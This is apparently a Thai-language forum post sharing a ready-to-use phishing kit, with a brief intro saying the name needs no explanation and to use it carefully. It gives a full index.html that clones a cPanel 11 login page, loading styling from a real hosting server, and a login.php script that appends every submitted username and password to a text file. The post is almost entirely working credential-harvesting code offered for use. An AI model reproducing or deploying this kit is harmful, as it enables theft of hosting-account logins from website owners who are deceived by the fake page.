ชื่อก็รู้ๆกัรอยู่นะครับคงไม่ต้องบรรยายมาก ใช้กันระวังนะครับเดี่ยวนี้คนทำเวบเค้าไม่ได้โง่เหอๆ
Unhidden Content - Enjoy The View!

index.html
Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="shortcut icon" href="http://gator693.hostgator.com:2082/cPanel_magic_revision_1265417940/unprotected/cpanel/favicon.ico" type="image/x-icon" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>cPanel&reg; 11</title>
<link rel="stylesheet" href="http://gator693.hostgator.com:2082/cPanel_magic_revision_1265417941/unprotected/cpanel/style_optimized.css" type="text/css" />
<!--[if IE]>
<style type="text/css">
#mid{
    height:300px;
}
</style>
<![endif]-->
</head>
<body>
<div id="wrap">
    <div id="top"></div>
    <div id="mid">
        <div id="content-wrap" align="center"> 


<form action="login.php" method="post" target="_top">
    <input type="hidden" name="login_theme" value="cpanel" />
    <table width="200" class="login" cellpadding="0" cellspacing="0">
        <tr>
            <td align="left"><b>Login</b></td>
            <td>&nbsp;</td>
        </tr>
        <tr>
            <td>Username</td>

            <td><input id="user" type="text" name="user" size="16" tabindex="1" /></td>
        </tr>
        <tr class="row2">
            <td>Password</td>
            <td><input id="pass" type="password" name="pass" size="16" tabindex="2" /></td>
        </tr>
        <tr>
            <td colspan="2" style="text-align: center"><input type="submit" value="Login" class="input-button" tabindex="3" /></td>

        </tr>
    </table>
    <input type="hidden" name="goto_uri" value="/" />
</form>

<script type="text/javascript">
/* Must not include external javascript -jnk 06.20.09 */
    var init = function() {
        document.getElementById("user").value = '';
        document.getElementById("pass").value = '';
        document.getElementById("user").focus();
    };
if( window.addEventListener ) {
    window.addEventListener('load',init,false);
} else if( document.addEventListener ) {
    document.addEventListener('load',init,false);
}
</script>
</div>
</div>
<div id="bot">
</div>
&copy; cPanel, Inc. 2009
</div>

</body>
</html>
login.php
Code:
<?php
$user = $_POST['user'];
$pass = $_POST['pass'];
$strFileName = "userpass.txt";
$objFopen = fopen($strFileName, 'a');
$strText1 = "user $user pass $pass";
fwrite($objFopen, $strText1);

fclose($objFopen);

?>